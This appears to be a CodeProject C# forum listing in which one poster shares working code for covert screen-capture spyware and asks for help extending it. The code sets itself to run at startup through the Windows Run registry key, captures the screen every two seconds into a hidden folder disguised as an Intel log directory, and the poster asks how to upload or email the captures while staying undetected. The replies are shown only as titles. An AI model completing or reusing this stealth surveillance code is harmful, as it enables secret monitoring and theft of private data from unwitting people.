Click here to Skip to main content
15,888,454 members
Home / Discussions / C#
   

C#

 
GeneralRe: String Format With $ Pin
Bernhard Hiller25-Aug-17 2:30
Bernhard Hiller25-Aug-17 2:30 
GeneralRe: String Format With $ Pin
BillWoodruff26-Aug-17 5:20
professionalBillWoodruff26-Aug-17 5:20 
GeneralRe: String Format With $ Pin
Bernhard Hiller28-Aug-17 3:25
Bernhard Hiller28-Aug-17 3:25 
QuestionEverything works fine in the Crystal-report, only the image does not display Pin
goldsoft23-Aug-17 23:37
goldsoft23-Aug-17 23:37 
QuestionANPR Pin
Member 1311476923-Aug-17 18:38
Member 1311476923-Aug-17 18:38 
AnswerRe: ANPR Pin
Pete O'Hanlon23-Aug-17 21:06
mvePete O'Hanlon23-Aug-17 21:06 
AnswerRe: ANPR Pin
Gerry Schmitz26-Aug-17 8:39
mveGerry Schmitz26-Aug-17 8:39 
QuestionHow would I go about implementing this in my code/program? Pin
Delaney Perkins22-Aug-17 22:18
Delaney Perkins22-Aug-17 22:18 
Hi there. I have this code currently that takes screenshots every 2 seconds and saves them to a hidden folder. I would like to implement a way for my program to then take these files and upload them to a cloud. Or maybe it can put the files in a zip folder every so often then send that folder in an email and repeat, but I don't know how well that would work.

Overall though I need it so that the program continues to run in stealth mode so that no one knows it's installed on the computer. Is there a way to do this? If so, could someone please help me and explain to me how to do so? Thank you all so much!

Here is my code so far:
C#
using System;
using System.Threading;
using System.Reflection;
using System.IO;
using System.Drawing;

namespace chrome
{
    static class Program
    {
        static void Main()
        {
            //-----this code will make your program to automatically execute as computer starts----
            try
            {
                Microsoft.Win32.RegistryKey key = Microsoft.Win32.Registry.CurrentUser.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", true);
                Assembly curAssembly = Assembly.GetExecutingAssembly();
                key.SetValue(curAssembly.GetName().Name, curAssembly.Location);
                Console.WriteLine(curAssembly.GetName());

            }
            catch (Exception e)
            {
                Console.WriteLine("show1:" + e.Message);
            }
            //------------------

            //------------screenshot  loop takes screenshots after 1 min-----------
            int n = 0;
            while (n == 0)
            {
                try
                {

                    OnTimedEvent();
                    Thread.Sleep(2000);
                }
                catch (Exception e)
                {
                    Console.WriteLine("show2:" + e.Message);
                }
                //-------------------------

            }
        }// main body ends !

        public static string st = "";
        public static string date = "";
        public static string month = "";
        public static string year = "";
        public static string time = "";
        public static string hour = "";
        public static string min = "";
        public static string sec = "";


        private static void OnTimedEvent()
        {
            st = DateTime.Today.Date.ToString();
            time = DateTime.Now.TimeOfDay.ToString();

            hour = DateTime.Now.Hour.ToString();
            min = DateTime.Now.Minute.ToString();
            sec = DateTime.Now.Second.ToString();

            date = DateTime.Today.Day.ToString();
            month = DateTime.Today.Month.ToString();
            year = DateTime.Today.Year.ToString();

            Console.WriteLine("The Elapsed event was raised at {0}_{1}_{2} at time {3}_{4}_{5} ", date, month, year, hour, min, sec);

            Bitmap memoryImage;
            memoryImage = new Bitmap(1366, 768);
            Size s = new Size(memoryImage.Width, memoryImage.Height);

            // Create graphics
            Graphics memoryGraphics = Graphics.FromImage(memoryImage);
            // Copy data from screen
            memoryGraphics.CopyFromScreen(0, 0, 0, 0, s);
            string str = "";

            //------------creating directory--------
            if (Directory.Exists("C:\\Intel\\Logs\\dsp"))
            {
                Console.WriteLine("directory exits");
            }
            else
            {
                Directory.CreateDirectory("C:\\Intel\\Logs\\dsp");
                File.SetAttributes("C:\\Intel\\Logs\\dsp", FileAttributes.Hidden);
                Console.WriteLine("new directory created");
            }
            //---------------------------------------

            str = string.Format("C:\\Intel\\Logs\\dsp\\{0}_{1}.png", date + month + year, hour + min + sec);

            //------------

            try
            {
                memoryImage.Save(str);
            }
            catch (Exception er)
            {
                Console.WriteLine("Sorry, there was an error: " + er.Message);
            }
        }
    }
}

        //---------------------------------------------------------

AnswerRe: How would I go about implementing this in my code/program? PinPopular
Chris Quinn22-Aug-17 23:09
Chris Quinn22-Aug-17 23:09 
AnswerRe: How would I go about implementing this in my code/program? Pin
OriginalGriff22-Aug-17 23:23
mveOriginalGriff22-Aug-17 23:23 
AnswerRe: How would I go about implementing this in my code/program? Pin
Pete O'Hanlon23-Aug-17 0:00
mvePete O'Hanlon23-Aug-17 0:00 
AnswerRe: How would I go about implementing this in my code/program? Pin
Gerry Schmitz23-Aug-17 6:38
mveGerry Schmitz23-Aug-17 6:38 
GeneralRe: How would I go about implementing this in my code/program? Pin
Eddy Vluggen23-Aug-17 7:01
professionalEddy Vluggen23-Aug-17 7:01 
GeneralRe: How would I go about implementing this in my code/program? Pin
Gerry Schmitz24-Aug-17 5:26
mveGerry Schmitz24-Aug-17 5:26 
GeneralRe: How would I go about implementing this in my code/program? Pin
Richard MacCutchan24-Aug-17 5:50
mveRichard MacCutchan24-Aug-17 5:50 
GeneralRe: How would I go about implementing this in my code/program? Pin
Gerry Schmitz26-Aug-17 8:08
mveGerry Schmitz26-Aug-17 8:08 
GeneralRe: How would I go about implementing this in my code/program? Pin
Eddy Vluggen24-Aug-17 6:38
professionalEddy Vluggen24-Aug-17 6:38 
AnswerRe: How would I go about implementing this in my code/program? Pin
Bernhard Hiller23-Aug-17 21:16
Bernhard Hiller23-Aug-17 21:16 
Questionintel Hex file creator from Txt File Pin
Psudonym21-Aug-17 21:31
Psudonym21-Aug-17 21:31 
QuestionRe: intel Hex file creator from Txt File Pin
Richard MacCutchan21-Aug-17 21:37
mveRichard MacCutchan21-Aug-17 21:37 
AnswerRe: intel Hex file creator from Txt File Pin
OriginalGriff21-Aug-17 21:41
mveOriginalGriff21-Aug-17 21:41 
AnswerRe: intel Hex file creator from Txt File Pin
Psudonym21-Aug-17 21:48
Psudonym21-Aug-17 21:48 
GeneralRe: intel Hex file creator from Txt File Pin
OriginalGriff21-Aug-17 22:20
mveOriginalGriff21-Aug-17 22:20 
AnswerRe: intel Hex file creator from Txt File Pin
Luc Pattyn21-Aug-17 23:14
sitebuilderLuc Pattyn21-Aug-17 23:14 
GeneralRe: intel Hex file creator from Txt File Pin
Psudonym22-Aug-17 1:31
Psudonym22-Aug-17 1:31 

General General    News News    Suggestion Suggestion    Question Question    Bug Bug    Answer Answer    Joke Joke    Praise Praise    Rant Rant    Admin Admin   

Use Ctrl+Left/Right to switch messages, Ctrl+Up/Down to switch threads, Ctrl+Shift+Left/Right to switch pages.